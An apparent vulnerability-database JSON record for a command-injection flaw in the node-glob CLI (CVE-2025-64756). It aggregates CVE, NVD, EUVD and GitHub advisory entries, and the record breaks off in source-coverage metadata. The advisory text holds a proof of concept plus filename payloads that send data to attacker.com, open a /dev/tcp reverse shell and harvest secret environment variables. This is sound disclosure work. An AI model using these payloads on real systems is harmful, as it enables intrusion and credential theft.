{"id":"EUVD-2025-197818","revision":null,"records":[{"revision":"36cc582f95ac4ff6932d6d0286ef0d01","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-64756","aliases":[],"title":"glob CLI: Command injection via -c/--cmd executes matches with shell:true","description":"Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.","state":0,"publishedAt":"2025-11-17T17:29:08.029+00:00","modifiedAt":"2025-11-19T02:30:44.52+00:00","affected":[{"ecosystem":"Vendor product","name":"node-glob","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"isaacs\",\n                    \"product\": \"node-glob\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 10.2.0, < 10.5.0\",\n                            \"status\": \"affected\"\n                        },\n                        {\n                            \"version\": \">= 11.0.0, < 11.1.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2","https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f","https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2025-64756","license":"CVE Program Terms of Use","key":"cve-program:CVE-2025-64756","identifiers":["CVE-2025-64756"]},"retained":false,"historicalAffected":[]},{"revision":"6322fdde6f054f0c89b3867a9730382b","observedAt":"2026-11-11T04:32:15.144+00:00","statement":{"source":"euvd","id":"EUVD-2025-197818","aliases":["CVE-2025-64756","GHSA-5j98-mcp5-4vw2"],"title":"Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution whe…","description":"Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"severity":null}],"references":["https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2","https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f","https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-197818","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 17, 2025, 5:29:08 PM","dateUpdated":"Nov 19, 2025, 2:30:44 AM"},"relatedAdvisories":[{"id":"RHSA-2026:2925","title":"Red Hat Security Advisory: RHTAS 1.2.2 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2025-64756","CVE-2025-66418","CVE-2025-66471","CVE-2026-21441","CVE-2026-24049"]},{"id":"RHSA-2025:22941","title":"Red Hat Security Advisory: Kiali 2.17.2 for Red Hat OpenShift Service Mesh 3.2","vulnerabilityIds":["CVE-2025-12816","CVE-2025-64756","CVE-2025-66031"]},{"id":"WID-SEC-W-2025-2798","title":"Red Hat OpenShift Service Mesh: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2025-53643","CVE-2025-64756","CVE-2025-66031"]},{"id":"RHSA-2026:2456","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.26.0 Release.","vulnerabilityIds":["CVE-2024-25621","CVE-2025-12816","CVE-2025-15284","CVE-2025-52881","CVE-2025-58183","CVE-2025-61729","CVE-2025-64756","CVE-2025-65945","CVE-2025-66031","CVE-2025-66418","CVE-2025-66471","CVE-2025-66490","CVE-2026-21441","CVE-2026-22029"]},{"id":"RHSA-2025:23531","title":"Red Hat Security Advisory: RHOAI 2.25.1 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-9905","CVE-2025-9906","CVE-2025-12060","CVE-2025-12638","CVE-2025-47913","CVE-2025-49655","CVE-2025-53643","CVE-2025-62164","CVE-2025-62593","CVE-2025-62727","CVE-2025-64756","CVE-2025-66416"]},{"id":"RHSA-2026:2926","title":"Red Hat Security Advisory: RHTAS 1.2.2 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2025-13465","CVE-2025-61729","CVE-2025-64756","CVE-2025-65945","CVE-2025-66418","CVE-2025-66471","CVE-2026-21441","CVE-2026-22774","CVE-2026-22775","CVE-2026-23745","CVE-2026-23950"]},{"id":"RHSA-2026:3713","title":"Red Hat Security Advisory: RHOAI 3.3 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2024-25621","CVE-2025-6242","CVE-2025-12638","CVE-2025-12816","CVE-2025-14180","CVE-2025-14920","CVE-2025-14921","CVE-2025-14922","CVE-2025-14924","CVE-2025-14925","CVE-2025-14926","CVE-2025-14927","CVE-2025-14928","CVE-2025-14929","CVE-2025-14930","CVE-2025-15284","CVE-2025-48956","CVE-2025-52881","CVE-2025-59425","CVE-2025-61726","CVE-2025-61729","CVE-2025-62164","CVE-2025-62593","CVE-2025-64756","CVE-2025-66031","CVE-2025-66034","CVE-2025-66416","CVE-2025-66418","CVE-2025-66448","CVE-2025-66471","CVE-2025-66506","CVE-2025-66626","CVE-2025-67725","CVE-2025-67726","CVE-2025-68156","CVE-2025-68476","CVE-2025-68665","CVE-2025-69223","CVE-2025-69872","CVE-2026-0897","CVE-2026-1260","CVE-2026-21441","CVE-2026-22778","CVE-2026-22807","CVE-2026-24049","CVE-2026-24486"]},{"id":"RHSA-2026:15979","title":"Red Hat Security Advisory: Red Hat Ceph Storage","vulnerabilityIds":["CVE-2025-13033","CVE-2025-47914","CVE-2025-58181","CVE-2025-61729","CVE-2025-64718","CVE-2025-64756","CVE-2025-68156"]},{"id":"RHSA-2026:26411","title":"Red Hat Security Advisory: New container image: rhceph-9.0","vulnerabilityIds":["CVE-2024-55565","CVE-2025-47913","CVE-2025-47914","CVE-2025-58181","CVE-2025-59343","CVE-2025-64718","CVE-2025-64756"]},{"id":"RHSA-2025:22905","title":"Red Hat Security Advisory: Red Hat OpenShift Pipelines Release 1.19.4","vulnerabilityIds":["CVE-2025-6545","CVE-2025-6547","CVE-2025-9287","CVE-2025-9288","CVE-2025-64756"]},{"id":"RHSA-2025:22937","title":"Red Hat Security Advisory: Kiali 2.4.11 for Red Hat OpenShift Service Mesh 3.0","vulnerabilityIds":["CVE-2025-12816","CVE-2025-64756","CVE-2025-66031"]},{"id":"WID-SEC-W-2026-0105","title":"Red Hat Developer Hub: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2025-15284","CVE-2025-64756","CVE-2025-65945"]},{"id":"WID-SEC-W-2026-3046","title":"IBM Concert: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2019-19921","CVE-2021-23337","CVE-2024-3651","CVE-2024-39338","CVE-2024-45590","CVE-2025-13465","CVE-2025-15284","CVE-2025-15599","CVE-2025-22874","CVE-2025-47273","CVE-2025-47907","CVE-2025-52881","CVE-2025-53643","CVE-2025-55184","CVE-2025-58056","CVE-2025-58188","CVE-2025-58189","CVE-2025-61723","CVE-2025-61730","CVE-2025-64649","CVE-2025-64756","CVE-2025-67221","CVE-2025-68121","CVE-2025-68146","CVE-2026-0540","CVE-2026-2327","CVE-2026-23490","CVE-2026-23897","CVE-2026-2391","CVE-2026-23949","CVE-2026-24486","CVE-2026-25528","CVE-2026-25547","CVE-2026-25639","CVE-2026-25990","CVE-2026-26007","CVE-2026-26019","CVE-2026-26996","CVE-2026-27142","CVE-2026-27212","CVE-2026-27699","CVE-2026-27903","CVE-2026-27904","CVE-2026-28684","CVE-2026-29063","CVE-2026-29181","CVE-2026-2950","CVE-2026-31808","CVE-2026-31900","CVE-2026-32274","CVE-2026-32288","CVE-2026-32597","CVE-2026-32630","CVE-2026-32887","CVE-2026-32952","CVE-2026-33186","CVE-2026-33532","CVE-2026-33750","CVE-2026-33814","CVE-2026-33816","CVE-2026-33916","CVE-2026-34043","CVE-2026-34073","CVE-2026-34077","CVE-2026-3520","CVE-2026-35469","CVE-2026-35515","CVE-2026-3627","CVE-2026-39823","CVE-2026-39825","CVE-2026-39826","CVE-2026-39892","CVE-2026-39984","CVE-2026-40175","CVE-2026-40179","CVE-2026-40181","CVE-2026-40190","CVE-2026-40347","CVE-2026-41066","CVE-2026-41182","CVE-2026-41238","CVE-2026-41239","CVE-2026-41240","CVE-2026-41305","CVE-2026-41324","CVE-2026-41425","CVE-2026-41481","CVE-2026-41488","CVE-2026-41602","CVE-2026-41636","CVE-2026-42151","CVE-2026-42154","CVE-2026-42198","CVE-2026-42211","CVE-2026-42338","CVE-2026-42342","CVE-2026-42561","CVE-2026-42577","CVE-2026-43870","CVE-2026-44405","CVE-2026-44431","CVE-2026-44432","CVE-2026-44486","CVE-2026-44487","CVE-2026-44488","CVE-2026-44492","CVE-2026-44494","CVE-2026-44496","CVE-2026-44728","CVE-2026-4539","CVE-2026-45409","CVE-2026-45736","CVE-2026-46625","CVE-2026-4800","CVE-2026-4923","CVE-2026-4926","CVE-2026-7246","CVE-2026-8723"]},{"id":"SSA-485750","title":"SSA-485750: Multiple Vulnerabilities in SIDIS Prime Before V4.0.800","vulnerabilityIds":["CVE-2024-29857","CVE-2024-30171","CVE-2024-30172","CVE-2024-41996","CVE-2025-6965","CVE-2025-7783","CVE-2025-9230","CVE-2025-9232","CVE-2025-9670","CVE-2025-12816","CVE-2025-15284","CVE-2025-58751","CVE-2025-58752","CVE-2025-58754","CVE-2025-62522","CVE-2025-64718","CVE-2025-64756","CVE-2025-66030","CVE-2025-66031","CVE-2025-66035","CVE-2025-66412","CVE-2025-69277","CVE-2026-22610"]},{"id":"NCSC-2026-0079","title":"Kwetsbaarheden verholpen in Siemens producten","vulnerabilityIds":["CVE-2024-29857","CVE-2024-30171","CVE-2024-30172","CVE-2024-41996","CVE-2025-6965","CVE-2025-7783","CVE-2025-9230","CVE-2025-9232","CVE-2025-9670","CVE-2025-12816","CVE-2025-15284","CVE-2025-27769","CVE-2025-40943","CVE-2025-55018","CVE-2025-58751","CVE-2025-58752","CVE-2025-58754","CVE-2025-62439","CVE-2025-62522","CVE-2025-64157","CVE-2025-64718","CVE-2025-64756","CVE-2025-66030","CVE-2025-66031","CVE-2025-66035","CVE-2025-66412","CVE-2025-69277","CVE-2026-22610","CVE-2026-24858","CVE-2026-25569","CVE-2026-25570","CVE-2026-25571","CVE-2026-25572","CVE-2026-25573","CVE-2026-25605"]},{"id":"RHSA-2026:2144","title":"Red Hat Security Advisory: RHTAS 1.3.2 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2025-61729","CVE-2025-64756","CVE-2025-66418","CVE-2025-66471","CVE-2025-66506","CVE-2025-66564","CVE-2026-21441","CVE-2026-22772","CVE-2026-22774","CVE-2026-22775","CVE-2026-23745","CVE-2026-23950"]},{"id":"openSUSE-SU-2025:15775-1","title":"opa-1.11.0-1.1 on GA media","vulnerabilityIds":["CVE-2025-64756"]},{"id":"RHSA-2026:83548","title":"Red Hat Security Advisory: Red Hat Ceph Storage","vulnerabilityIds":["CVE-2019-10790","CVE-2023-25153","CVE-2023-28155","CVE-2023-46159","CVE-2024-5206","CVE-2024-11831","CVE-2024-37890","CVE-2024-47866","CVE-2025-7783","CVE-2025-30156","CVE-2025-47914","CVE-2025-50181","CVE-2025-50182","CVE-2025-58181","CVE-2025-59436","CVE-2025-64718","CVE-2025-64756","CVE-2026-50152"]},{"id":"RHSA-2025:22938","title":"Red Hat Security Advisory: Kiali 2.11.5 for Red Hat OpenShift Service Mesh 3.1","vulnerabilityIds":["CVE-2025-12816","CVE-2025-64756","CVE-2025-66031"]},{"id":"RHSA-2025:22936","title":"Red Hat Security Advisory: Kiali 1.73.25 for Red Hat OpenShift Service Mesh 2.6","vulnerabilityIds":["CVE-2025-12816","CVE-2025-64756","CVE-2025-66031"]},{"id":"RHSA-2026:6192","title":"Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.27.0 Release.","vulnerabilityIds":["CVE-2025-13465","CVE-2025-54386","CVE-2025-61726","CVE-2025-61728","CVE-2025-61729","CVE-2025-64756","CVE-2025-68121","CVE-2025-69873","CVE-2026-1002","CVE-2026-22045","CVE-2026-23745","CVE-2026-23950","CVE-2026-24049","CVE-2026-24842","CVE-2026-25223","CVE-2026-25639","CVE-2026-25949","CVE-2026-26960","CVE-2026-26996"]},{"id":"RHSA-2026:0261","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.7.4 release.","vulnerabilityIds":["CVE-2025-12816","CVE-2025-15284","CVE-2025-64756","CVE-2025-65945","CVE-2025-66031"]},{"id":"RHSA-2026:19712","title":"Red Hat Security Advisory: RHOAI 3.3.3 - Red Hat OpenShift AI","vulnerabilityIds":["CVE-2025-6242","CVE-2025-12816","CVE-2025-13465","CVE-2025-15284","CVE-2025-59057","CVE-2025-61726","CVE-2025-61729","CVE-2025-62164","CVE-2025-62718","CVE-2025-64756","CVE-2025-66031","CVE-2025-66418","CVE-2025-66448","CVE-2025-66471","CVE-2025-69223","CVE-2025-69873","CVE-2026-0846","CVE-2026-0847","CVE-2026-4800","CVE-2026-21441","CVE-2026-21884","CVE-2026-22029","CVE-2026-22778","CVE-2026-23490","CVE-2026-23745","CVE-2026-24049","CVE-2026-24486","CVE-2026-24779","CVE-2026-25639","CVE-2026-25990","CVE-2026-27893","CVE-2026-28684","CVE-2026-29063","CVE-2026-29074","CVE-2026-30922","CVE-2026-31812","CVE-2026-32597","CVE-2026-32829","CVE-2026-32981","CVE-2026-33186","CVE-2026-33231","CVE-2026-33236","CVE-2026-34986","CVE-2026-40175","CVE-2026-40192","CVE-2026-40895"]},{"id":"WID-SEC-W-2025-2909","title":"IBM App Connect Enterprise: Mehrere Schwachstellen","vulnerabilityIds":["CVE-2025-13466","CVE-2025-64718","CVE-2025-64756","CVE-2025-65945"]},{"id":"RHSA-2026:0531","title":"Red Hat Security Advisory: Red Hat Developer Hub 1.8.2 release.","vulnerabilityIds":["CVE-2025-15284","CVE-2025-64756","CVE-2025-65945"]},{"id":"RHSA-2026:2139","title":"Red Hat Security Advisory: RHTAS 1.3.2 - Red Hat Trusted Artifact Signer Release","vulnerabilityIds":["CVE-2025-64756","CVE-2025-66418","CVE-2025-66471","CVE-2026-21441","CVE-2026-24049"]},{"id":"ICSA-26-071-03","title":"Siemens SIDIS Prime","vulnerabilityIds":["CVE-2024-29857","CVE-2024-30171","CVE-2024-30172","CVE-2024-41996","CVE-2025-6965","CVE-2025-7783","CVE-2025-9230","CVE-2025-9232","CVE-2025-9670","CVE-2025-12816","CVE-2025-15284","CVE-2025-58751","CVE-2025-58752","CVE-2025-58754","CVE-2025-62522","CVE-2025-64718","CVE-2025-64756","CVE-2025-66030","CVE-2025-66031","CVE-2025-66035","CVE-2025-66412","CVE-2025-69277","CVE-2026-22610"]},{"id":"RHSA-2026:0414","title":"Red Hat Security Advisory: A Subscription Management tool for finding and reporting Red Hat product usage","vulnerabilityIds":["CVE-2024-5642","CVE-2025-4598","CVE-2025-6069","CVE-2025-6075","CVE-2025-8291","CVE-2025-9714","CVE-2025-12816","CVE-2025-15284","CVE-2025-45582","CVE-2025-59375","CVE-2025-59682","CVE-2025-61984","CVE-2025-61985","CVE-2025-64460","CVE-2025-64720","CVE-2025-64756","CVE-2025-65018","CVE-2025-66031","CVE-2025-66293","CVE-2025-66418"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-197818","identifiers":["EUVD-2025-197818","CVE-2025-64756","GHSA-5j98-mcp5-4vw2"]},"retained":false,"historicalAffected":[]},{"revision":"aa717b9249bd4b66a321a8fb4dea0f6f","observedAt":"2026-10-25T03:17:36.152+00:00","statement":{"source":"nvd","id":"CVE-2025-64756","aliases":[],"title":"Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution whe…","description":"Glob matches files using patterns the shell uses. Starting in version 10.2.0 and prior to versions 10.5.0 and 11.1.0, the glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> are used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges. This issue has been patched in versions 10.5.0 and 11.1.0.","state":0,"publishedAt":"2025-11-17T18:15:58.27+00:00","modifiedAt":"2026-10-07T21:10:00.2+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f","https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146","https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2025-64756","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-78"],"productCriteria":["cpe:2.3:a:isaacs:glob:*:*:*:*:*:node.js:*:*"],"sourceDates":{"published":"2025-11-17T18:15:58.270","lastModified":"2026-10-07T21:10:00.200"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-64756","identifiers":["CVE-2025-64756"]},"retained":false,"historicalAffected":[]},{"revision":"692d037dff2e4912b6e243c33d1fd462","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-5j98-mcp5-4vw2","aliases":["CVE-2025-64756"],"title":"glob CLI: Command injection via -c/--cmd executes matches with shell:true","description":"### Summary\n\nThe glob CLI contains a command injection vulnerability in its `-c/--cmd` option that allows arbitrary command execution when processing files with malicious names. When `glob -c <command> <patterns>` is used, matched filenames are passed to a shell with `shell: true`, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.\n\n### Details\n\n**Root Cause:**\nThe vulnerability exists in `src/bin.mts:277` where the CLI collects glob matches and executes the supplied command using `foregroundChild()` with `shell: true`:\n\n```javascript\nstream.on('end', () => foregroundChild(cmd, matches, { shell: true }))\n```\n\n**Technical Flow:**\n1. User runs `glob -c <command> <pattern>` \n2. CLI finds files matching the pattern\n3. Matched filenames are collected into an array\n4. Command is executed with matched filenames as arguments using `shell: true`\n5. Shell interprets metacharacters in filenames as command syntax\n6. Malicious filenames execute arbitrary commands\n\n**Affected Component:**\n- **CLI Only:** The vulnerability affects only the command-line interface\n- **Library Safe:** The core glob library API (`glob()`, `globSync()`, streams/iterators) is not affected\n- **Shell Dependency:** Exploitation requires shell metacharacter support (primarily POSIX systems)\n\n**Attack Surface:**\n- Files with names containing shell metacharacters: `$()`, backticks, `;`, `&`, `|`, etc.\n- Any directory where attackers can control filenames (PR branches, archives, user uploads)\n- CI/CD pipelines using `glob -c` on untrusted content\n\n### PoC\n\n**Setup Malicious File:**\n```bash\nmkdir test_directory && cd test_directory\n\n# Create file with command injection payload in filename\ntouch '$(touch injected_poc)'\n```\n\n**Trigger Vulnerability:**\n```bash\n# Run glob CLI with -c option\nnode /path/to/glob/dist/esm/bin.mjs -c echo \"**/*\"\n```\n\n**Result:**\n- The echo command executes normally\n- **Additionally:** The `$(touch injected_poc)` in the filename is evaluated by the shell\n- A new file `injected_poc` is created, proving command execution\n- Any command can be injected this way with full user privileges\n\n**Advanced Payload Examples:**\n\n**Data Exfiltration:**\n```bash\n# Filename: $(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" > /dev/null 2>&1)\ntouch '$(curl -X POST https://attacker.com/exfil -d \"$(whoami):$(pwd)\" > /dev/null 2>&1)'\n```\n\n**Reverse Shell:**\n```bash\n# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)\ntouch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'\n```\n\n**Environment Variable Harvesting:**\n```bash\n# Filename: $(env | grep -E \"(TOKEN|KEY|SECRET)\" > /tmp/secrets.txt)\ntouch '$(env | grep -E \"(TOKEN|KEY|SECRET)\" > /tmp/secrets.txt)'\n```\n\n### Impact\n\n**Arbitrary Command Execution:**\n- Commands execute with full privileges of the user running glob CLI\n- No privilege escalation required - runs as current user\n- Access to environment variables, file system, and network\n\n**Real-World Attack Scenarios:**\n\n**1. CI/CD Pipeline Compromise:**\n- Malicious PR adds files with crafted names to repository\n- CI pipeline uses `glob -c` to process files (linting, testing, deployment)\n- Commands execute in CI environment with build secrets and deployment credentials\n- Potential for supply chain compromise through artifact tampering\n\n**2. Developer Workstation Attack:**\n- Developer clones repository or extracts archive containing malicious filenames\n- Local build scripts use `glob -c` for file processing\n- Developer machine compromise with access to SSH keys, tokens, local services\n\n**3. Automated Processing Systems:**\n- Services using glob CLI to process uploaded files or external content\n- File uploads with malicious names trigger command execution\n- Server-side compromise with potential for lateral movement\n\n**4. Supply Chain Poisoning:**\n- Malicious packages or themes include files with crafted names\n- Build processes using glob CLI automatically process these files\n- Wide distribution of compromise through package ecosystems\n\n**Platform-Specific Risks:**\n- **POSIX/Linux/macOS:** High risk due to flexible filename characters and shell parsing\n- **Windows:** Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL\n- **Mixed Environments:** CI systems often use Linux containers regardless of developer platform\n\n### Affected Products\n\n- **Ecosystem:** npm\n- **Package name:** glob\n- **Component:** CLI only (`src/bin.mts`)\n- **Affected versions:** v10.2.0 through v11.0.3 (and likely later versions until patched)\n- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd` option)\n- **Patched versions:** 11.1.0and 10.5.0\n\n**Scope Limitation:**\n- **Library API Not Affected:** Core glob functions (`glob()`, `globSync()`, async iterators) are safe\n- **CLI-Specific:** Only the command-line interface with `-c/--cmd` option is vulnerable\n\n### Remediation\n\n- Upgrade to `glob@10.5.0`, `glob@11.1.0`, or higher, as soon as possible.\n- If any `glob` CLI actions fail, then convert commands containing positional arguments, to use the `--cmd-arg`/`-g` option instead.\n- As a last resort, use `--shell` to maintain `shell:true` behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.","state":0,"publishedAt":"2025-11-17T17:38:56+00:00","modifiedAt":"2026-09-10T03:50:30.5688304+00:00","affected":[{"ecosystem":"npm","name":"glob","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"11.0.0"},{"kind":"fixed","version":"11.1.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"glob","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"10.2.0"},{"kind":"fixed","version":"10.5.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2","https://nvd.nist.gov/vuln/detail/CVE-2025-64756","https://github.com/isaacs/node-glob/commit/1e4e297342a09f2aa0ced87fcd4a70ddc325d75f","https://github.com/isaacs/node-glob/commit/47473c046b91c67269df7a66eab782a6c2716146","https://github.com/isaacs/node-glob"],"sourceUrl":"https://github.com/advisories/GHSA-5j98-mcp5-4vw2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5j98-mcp5-4vw2","identifiers":["GHSA-5j98-mcp5-4vw2","CVE-2025-64756"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-11T10:57:37.6316309+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-11T10:57:37.6316309+00:00","lastSuccessAt":"2026-11-11T10:57:37.7940559+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:37.7940585+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-de3b77103708811b6494d2ff7c979037d73ae579742cd1649a5c765137ae5083-b61703aa7a8a8776341875d56ae04881d75cb51c03ebed7341566c1aac4b78f3","complete":true,"records":424026,"lastAttemptAt":"2026-11-11T10:57:30.8429465+00:00","lastSuccessAt":"2026-11-11T10:57:30.772003+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:30.8429465+00:00","snapshotPublishedAt":"2026-11-11T10:28:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e6f5224c8a914d22aa72c6756baed07f","complete":false,"records":13758,"lastAttemptAt":"2026-11-11T11:02:23.8631096+00:00","lastSuccessAt":"2026-11-11T11:02:23.9335399+00:00","error":null,"lastVerifiedAt":"2026-11-11T11:02:23.9335399+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-11T10:57:37.6316309+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-11T10:57:37.6316309+00:00","lastSuccessAt":"2026-11-11T10:57:37.7955954+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:37.7955973+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-622dd4c770014d0cabbdd0941fabd46f","complete":true,"records":13752,"lastAttemptAt":"2026-11-11T10:57:38.8624284+00:00","lastSuccessAt":"2026-11-11T10:57:38.856+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:38.856+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13812,"expectedIdentifiers":13812,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-11T10:57:31.188043+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:31.188043+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-11T10:57:30.9764176+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:30.9764176+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-b178858a6ba5f2e20262964fa29d9573839d1b8b735abe524cc7d061ebde5c37","complete":true,"records":3088,"lastAttemptAt":"2026-11-11T10:57:37.5961627+00:00","lastSuccessAt":"2026-11-11T10:57:37.4490966+00:00","error":null,"lastVerifiedAt":"2026-11-11T10:57:37.5961627+00:00","snapshotPublishedAt":"2026-11-11T10:48:28+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE 